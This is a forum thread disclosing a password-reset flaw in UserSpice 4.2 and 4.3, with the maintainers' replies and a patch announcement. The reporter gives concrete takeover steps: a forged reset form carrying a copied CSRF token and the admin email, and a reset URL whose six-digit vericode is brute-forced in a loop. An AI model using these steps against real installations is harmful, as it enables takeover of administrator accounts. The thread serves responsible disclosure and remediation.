danger: us4.2, us4.3 hackable easly

[SavageStyle]

I was testing email verification on my server, and found that userspice system can be easly hacked by knowing ONLY e-mail.
Just tested on lattest 4.3 beta. Any user that knows userspice code or any foreign hacker may easly hack system with just simply revealing hidden form on:

Code:

http://localhost/us43/users/forgot_password_reset.php

(you can get form code from userspice files or just register a legit user and reset password to copy it)

So insert form code:
<div class="row">
<div class="col-xs-12">
<h2 class="text-center">Hello <?=$ruser->data()->fname;?>,</h2>
<p class="text-center">Please reset your password.</p>
<form action="forgot_password_reset.php?reset=1" method="post">
<?php if(!$errors=='') {?><div class="alert alert-danger"><?=display_errors($errors);?></div><?php } ?>
<div class="form-group">
<label for="password">New Password:</label>
<input type="password" name="password" value="" id="password" class="form-control">
</div>
<div class="form-group">
<label for="confirm">Confirm Password:</label>
<input type="password" name="confirm" value="" id="confirm" class="form-control">
</div>
<input type="hidden" name="csrf" value="d6ce184598d13738a7d4a86a562cc8fe">
<input type="hidden" name="email" value="userspicephp@gmail.com">
<input type="hidden" name="vericode" value="">
<input type="submit" name="resetPassword" value="Reset" class="btn btn-primary">
</form>
<br />

fill data in form:
<input type="hidden" name="csrf" value="d6ce184598d13738a7d4a86a562cc8fe"> - get this on registration page
<input type="hidden" name="email" value="userspicephp@gmail.com"> - default e-mail, if you know admin e-mail, thats it
<input type="hidden" name="vericode" value=""> - VERICODE IGNORED
<input type="submit" name="resetPassword" value="Reset" class="btn btn-primary">

- now you can use this form to reset administrator's password.
1) csrf token is useless in this case and can be copied from registration page
2) Vericode is completely ignored - add check!
3) Vericode is extremely short and unsecure! - this means even if you add vericode check for this form it still will be easly hackable with script! (you will need less than 1 second to guess vericode with bruteforce) and than it's done

you just need to setup this url:

Code:

http://localhost/users/forgot_password_reset.php?email=userspicephp{3bc1fe685386cc4c3ab89a3f76566d8931e181ad17f08aed9ad73b30bf28114d}40gmail.com&vericode=<strong>0</strong>&reset=1

and loop vericode from 0 to 999999

My suggestions:
vericode should be like a token, make it LONG
That's how i craft my vericode (example):
<pre>

Code:

public static function getVericode(){
        return bin2hex(random_bytes(32));
    }

</pre>

Make sure you generate new vericode on every action like:
password reset, verify email, user creation etc

so new solid verycode before every action, so on password reset you generate NEW vericode, store it in db and send it - that should be done when user press "reset" button

This marks that you do not check userinput data. Keep in mind that user can put everything they want into html page, they can also craft any POST and GET request. Just need add solid validation to php.

Thanks!

[Brandin]

Thank you for pointing out that the vericode is not checked...this definitely needs to be looked into.

We have discussed the vericode length in several discussions, and where we added IP banning in 4.3 beta (which has to be looked at to be sure the system is working), brute-force shouldn't be an issue, unless someone is using a rolling VPN and during that process is tracking the attempts made.

Vericodes were reviewed during 4.3 to be sure they were re-issued during actions like you mentioned above.

This being said, I think the only change required at this time is vericode checking during the update process, instead of just using the vericode to initiate a display form.

B.

[mudmin]

@SavageStyle,
I really appreciate the detailed response. I've never felt comfortable with the vericode system, but yeah, we missed an obvious check there. Thank you SO MUCH for the detailed post and and the solutions.

I'll issue a patch for 4.2 and 4.3.

One of the discussions we've been having with auto-banning is how to not allow the vericode system to be a source of DOSing the users of the system. In other words, if it only takes 3 guesses or something, I can get you blocked by requesting your password 3 times. Stuff like that. Again...thanks so much for the detailed post and we'll get this sorted this week.

[mudmin]

The patch was issued in 4.2.12 and in 4.3. I'd love for you to take a look at it. Here's my math on the new vericode...

To give you an idea, the current 6 digit numeric vericode could have been brute forced at 18.52 mins online (with a rate of 1000 guesses per second hitting your webserver, on average they would get in at 9.26 minutes). The new code takes 4.01 trillion centuries at 1000 guesses a second. Even a massive attack of 100 Trillion guesses a second would take 40.08 centuries.

User banning after too many vericode attempts is coming soon. We're just trying to stabilize 4.3 as a whole.
Thanks so much for your help!